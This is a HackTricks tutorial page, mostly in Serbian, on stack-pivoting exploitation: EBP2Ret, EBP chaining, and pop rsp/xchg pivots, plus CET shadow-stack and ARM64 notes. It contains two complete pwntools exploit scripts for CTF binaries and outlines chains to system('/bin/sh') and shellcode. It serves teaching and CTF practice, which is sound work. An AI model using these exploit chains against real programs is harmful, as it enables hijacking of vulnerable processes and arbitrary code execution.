Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 11 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Ova tehnika koristi sposobnost manipulacije Base Pointer (EBP/RBP) da poveže izvršavanje više funkcija kroz pažljivu upotrebu frame pointer-a i leave; ret instrukcijske sekvence.

Kao podsetnik, na x86/x86-64 leave je ekvivalentno:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it's possible to control it by controlling the stack.

Napomene

  • Na 64-bit, zamenite EBP→RBP i ESP→RSP. Semantika je ista.
  • Neki kompajleri izostavljaju pokazivač okvira (vidi “EBP možda neće biti korišćen”). U tom slučaju, leave možda neće biti prisutan i ova tehnika neće raditi.

EBP2Ret

Ova tehnika je posebno korisna kada možete izmeniti sačuvani EBP/RBP, ali nemate direktan način da promenite EIP/RIP. Ona koristi ponašanje epiloga funkcije.

Ako, tokom izvršenja fvuln, uspete da injektujete lažni EBP u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode/ROP lanca (plus 8 bajtova na amd64 / 4 bajta na x86 da bi se uzela u obzir pop), možete indirektno kontrolisati RIP. Kada funkcija vrati, leave postavlja RSP na kreiranu lokaciju, a sledeći pop rbp smanjuje RSP, efikasno ga usmeravajući na adresu koju je napadač sačuvao tamo. Tada će ret koristiti tu adresu.

Napomena kako morate znati 2 adrese: adresu na koju će ESP/RSP ići, i vrednost sačuvanu na toj adresi koju će ret konzumirati.

Konstrukcija Eksploata

Prvo morate znati adresu na kojoj možete pisati proizvoljne podatke/adrese. RSP će pokazivati ovde i konzumiraće prvi ret.

Zatim, morate izabrati adresu koju koristi ret koja će preneti izvršenje. Možete koristiti:

  • Validnu ONE_GADGET adresu.
  • Adresu system() praćenu odgovarajućim povratkom i argumentima (na x86: ret cilj = &system, zatim 4 bajta smeća, zatim &"/bin/sh").
  • Adresu jmp esp; gadgeta (ret2esp) praćenu inline shellcode-om.
  • ROP lanac postavljen u memoriji koja se može pisati.

Zapamtite da pre bilo koje od ovih adresa u kontrolisanoj oblasti, mora biti prostora za pop ebp/rbp iz leave (8B na amd64, 4B na x86). Možete iskoristiti ove bajtove da postavite drugi lažni EBP i zadržite kontrolu nakon što se prvi poziv vrati.

Off-By-One Eksploit

Postoji varijanta koja se koristi kada možete samo izmeniti najmanje značajan bajt sačuvanog EBP/RBP. U tom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa ret mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da prepisivanje od 1 bajta može preusmeriti. Obično se nizak bajt (offset 0x00) povećava da bi se skočilo što je dalje moguće unutar obližnje stranice/usaglašene oblasti.

Takođe je uobičajeno koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraju kako bi se povećala verovatnoća da novi RSP pokazuje unutar klizaljke i da se izvrši konačni ROP lanac.

EBP Lanci

Postavljanjem kontrolisane adrese u sačuvani EBP slot steka i leave; ret gadgeta u EIP/RIP, moguće je premestiti ESP/RSP na adresu koju kontroliše napadač.

Sada je RSP pod kontrolom i sledeća instrukcija je ret. Stavite u kontrolisanu memoriju nešto poput:

  • &(next fake EBP) -> Učitano sa pop ebp/rbp iz leave.
  • &system() -> Pozvano sa ret.
  • &(leave;ret) -> Nakon što system završi, premesti RSP na sledeći lažni EBP i nastavlja.
  • &("/bin/sh") -> Argument za system.

Na ovaj način je moguće povezati nekoliko lažnih EBPa kako bi se kontrolisao tok programa.

Ovo je kao ret2lib, ali složenije i korisno samo u ivicama.

Štaviše, ovde imate primer izazova koji koristi ovu tehniku sa stack leak da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 alignment tip: System V ABI zahteva 16-bajtno poravnanje steka na mestima poziva. Ako vaša lanac poziva funkcije kao što je system, dodajte uređaj za poravnanje (npr., ret, ili sub rsp, 8 ; ret) pre poziva kako biste održali poravnanje i izbegli movaps rušenja.

EBP možda neće biti korišćen

Kao objašnjeno u ovom postu, ako je binarni fajl kompajliran sa nekim optimizacijama ili sa izostavljanjem pokazivača okvira, EBP/RBP nikada ne kontroliše ESP/RSP. Stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP/RBP će propasti jer prolog/epilog ne obnavlja sa pokazivača okvira.

  • Nije optimizovano / pokazivač okvira korišćen:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimizovano / pokazivač okvira izostavljen:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Na amd64 često ćete videti pop rbp ; ret umesto leave ; ret, ali ako je pokazivač okvira potpuno izostavljen, tada ne postoji rbp-bazirani epilog kroz koji se može pivotirati.

Drugi načini za kontrolu RSP

pop rsp gadget

Na ovoj stranici možete pronaći primer korišćenja ove tehnike. Za taj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je pop rsp gadget i postoji leak sa steka:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Proverite ret2esp tehniku ovde:

Ret2esp / Ret2reg

Brzo pronalaženje pivot gadgeta

Koristite svoj omiljeni alat za pronalaženje gadgeta da biste pretražili klasične pivot primitivne:

  • leave ; ret na funkcijama ili u bibliotekama
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (ili add esp, <imm> ; ret na x86)

Primeri:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Класични образац за пивотирање

Робустна стратегија пивотирања која се користи у многим CTF-овима/експлоатима:

  1. Користите мали иницијални прелив да позовете read/recv у велику област за писање (нпр., .bss, хип, или мапирана RW меморија) и поставите потпуну ROP ланцу тамо.
  2. Вратите се у пивот гажет (leave ; ret, pop rsp, xchg rax, rsp ; ret) да преместите RSP у ту област.
  3. Наставите са постављеним ланцем (нпр., откријте libc, позовите mprotect, затим read shellcode, а затим скочите на њега).

Савремене мере које прекидају пивотирање стека (CET/Shadow Stack)

Савремени x86 ЦПУ-ови и ОС-ови све више примењују CET Shadow Stack (SHSTK). Са укљученим SHSTK, ret упоређује адресу повратка на нормалном стеку са хардверски заштићеним сенчним стеком; свака неслагања подижу Control-Protection грешку и убијају процес. Стога, технике као што су EBP2Ret/leave;ret-базирани пивоти ће се срушити чим се изврши први ret из пивотираног стека.

  • За позадину и дубље детаље погледајте:

CET & Shadow Stack

  • Брзи прегледи на Линуксу:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Beleške za labove/CTF:

  • Neke moderne distribucije omogućavaju SHSTK za CET-omogućene binarne datoteke kada su prisutni hardverska i glibc podrška. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem parametra za pokretanje kernela nousershstk, ili selektivno omogućiti putem glibc podešavanja tokom pokretanja (vidi reference). Ne onemogućavajte mitigacije na produkcionim ciljevima.

  • JOP/COOP ili SROP zasnovane tehnike bi mogle biti izvodljive na nekim ciljevima, ali SHSTK posebno prekida ret-zasnovane pivote.

  • Napomena za Windows: Windows 10+ izlaže korisnički režim, a Windows 11 dodaje kernel-režim "Zaštita steka zasnovana na hardveru" izgrađena na senčanim stekovima. Procesi kompatibilni sa CET sprečavaju pivotiranje steka/ROP na ret; programeri se prijavljuju putem CETCOMPAT i povezanih politika (vidi referencu).

ARM64

U ARM64, prolog i epilog funkcija ne čuvaju i ne preuzimaju SP registar u steku. Štaviše, RET instrukcija se ne vraća na adresu koju pokazuje SP, već na adresu unutar x30.

Stoga, po defaultu, samo zloupotrebljavajući epilog nećete moći da kontrolišete SP registar prepisivanjem nekih podataka unutar steka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da kontrolišete x30 registar.

  • prolog
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP pokazuje na okvir zapisa
  • epilog
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

Način da se izvede nešto slično pivotiranju steka u ARM64 bio bi da se može kontrolisati SP (kontrolisanjem nekog registra čija se vrednost prosleđuje SP ili zato što iz nekog razloga SP uzima svoju adresu iz steka i imamo preliv) i zatim zloupotrebljavati epilog da se učita x30 registar iz kontrolisanog SP i RET na njega.

Takođe, na sledećoj stranici možete videti ekvivalent Ret2esp u ARM64:

Ret2esp / Ret2reg

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks